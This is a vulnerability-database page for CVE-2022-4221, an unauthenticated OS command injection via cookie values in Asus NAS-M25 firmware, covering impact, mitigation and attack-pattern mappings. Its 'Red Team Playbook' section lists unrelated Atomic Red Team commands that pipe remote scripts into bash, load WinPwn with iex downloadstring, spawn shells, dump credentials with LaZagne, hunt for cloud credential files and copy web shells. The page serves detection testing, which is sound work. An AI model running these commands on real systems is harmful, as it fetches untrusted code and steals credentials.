CVE-2022-4221
Overview
This vulnerability is an OS command injection in the Asus NAS-M25 device firmware, caused by improper neutralization of special elements within cookie values. The root cause lies in the failure to sanitize user-supplied cookie input, allowing malicious commands to be injected and executed by the operating system. The affected component is the firmware handling cookie parsing and command execution logic in NAS-M25 devices up to version 1.0.1.7.
Vulnerability Description
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Asus NAS-M25 allows an unauthenticated attacker to inject arbitrary OS commands via unsanitized cookie values.This issue affects NAS-M25: through 1.0.1.7.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the Asus NAS-M25 device by exploiting this vulnerability via manipulated cookie values. No user interaction or credentials are required, and network access to the device's management interface suffices. Successful exploitation can lead to complete system compromise, including data theft, device control, or disruption of NAS services. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms network attackability with low complexity and no privileges or user interaction needed.
Solution
Users of Asus NAS-M25 devices should update the firmware to a version later than 1.0.1.7 as recommended by Asus in their security advisory available at https://onekey.com/blog/security-advisory-asus-m25-nas-vulnerability/. The vendor's advisory provides detailed instructions for applying the patch that addresses the command injection flaw. Until the update is applied, restricting network access to the device's management interface is advised as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from improper neutralization of special elements used in operating system commands, specifically within the Asus NAS-M25 firmware. This flaw allows for OS command injection, where an attacker can exploit unsanitized cookie values to execute arbitrary commands on the underlying operating system. The root cause of this vulnerability lies in the failure to adequately validate and sanitize user inputs, particularly those derived from cookies, which are often trusted by the application. This oversight can lead to significant security breaches, as attackers can manipulate the system to perform unauthorized actions.
Attack vectors for this vulnerability are particularly concerning due to the potential for unauthenticated access. An attacker can craft malicious cookie values and send them to the affected device, allowing them to execute commands without needing to authenticate. This could lead to a variety of exploitation scenarios, including but not limited to, gaining unauthorized access to sensitive data, altering system configurations, or even executing malware. The simplicity of the attack—requiring only the ability to send HTTP requests with manipulated cookies—makes it accessible to a wide range of malicious actors, from script kiddies to more sophisticated threat actors.
The real-world impact of this vulnerability is profound, especially for organizations relying on the Asus NAS-M25 for data storage and management. Given the high CVSS score of 9.8, the risk associated with this vulnerability is categorized as critical. Successful exploitation could lead to data breaches, loss of integrity, and operational disruptions. For businesses, this translates to potential financial losses, reputational damage, and regulatory repercussions, particularly if sensitive customer data is compromised. Furthermore, the ease of exploitation increases the likelihood of widespread attacks, as attackers may target multiple devices in a network, amplifying the damage.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the firmware of the affected devices is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, implementing network segmentation can help limit the exposure of critical systems to potential attackers. Monitoring network traffic for unusual patterns, particularly those involving cookie manipulation, can also aid in early detection of exploitation attempts. Organizations should also consider employing web application firewalls (WAFs) that can filter out malicious requests before they reach the vulnerable application. Finally, educating staff about the risks associated with OS command injection and promoting secure coding practices can further strengthen defenses against such vulnerabilities.
In conclusion, the OS command injection vulnerability in the Asus NAS-M25 presents a significant threat to organizations utilizing this device. The combination of unauthenticated access and the ability to execute arbitrary commands creates a critical security risk that must be addressed promptly. By implementing robust detection and mitigation strategies, organizations can protect their systems from exploitation and safeguard their sensitive data from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Asus | Nas-M25 Firmware | All |
cpe:2.3:o:asus:nas-m25_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-4221 |
| onekey.com |
GitHub CVE
|
https://onekey.com/blog/security-advisory-asus-m25-nas-vulnerability/ |